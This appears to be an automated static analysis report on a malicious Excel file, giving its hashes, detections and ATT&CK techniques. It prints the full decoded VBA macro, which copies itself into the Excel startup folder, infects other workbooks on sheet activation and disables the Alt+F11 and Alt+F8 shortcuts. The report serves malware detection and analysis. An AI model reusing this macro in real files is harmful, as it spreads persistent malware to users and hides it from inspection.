Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5af1c246a9a9da55…

MALICIOUS

Office (OLE)

340.0 KB Created: 2014-01-02 08:55:35 First seen: 2015-09-19
MD5: 4fa76b3479014b9ebcd6b0ca45c00d50 SHA-1: 234fbc26d794d61f818693cca3f87c1df5ca82be SHA-256: 5af1c246a9a9da5572f9a698b94bcd02f5b51da4f2bb5b2b7a326126ea2d4b95
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder, renaming the file to '1006（潘）.xls', which is a persistence mechanism. The ClamAV detection 'Xls.Dropper.Agent-7377546-0' further indicates its malicious nature as a dropper.

Heuristics 3

  • ClamAV: Xls.Dropper.Agent-7377546-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7377546-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1705 bytes
SHA-256: e0aa68d62b152d4f65d34b8e4a31048ea8f00cd56d2abce0716a825ff02c4f78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006（潘）.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006（潘）.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006（潘）.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Application.ScreenUpdating = False
Application.EnableEvents = False
    Sheets(n$).Select
End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "1006（潘）.xls!escape"
  Application.OnKey "%{F11}", "1006（潘）.xls!escape"
  Application.OnSheetActivate = "1006（潘）.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
  Workbooks.Open Application.StartupPath & "\1006（潘）.xls"
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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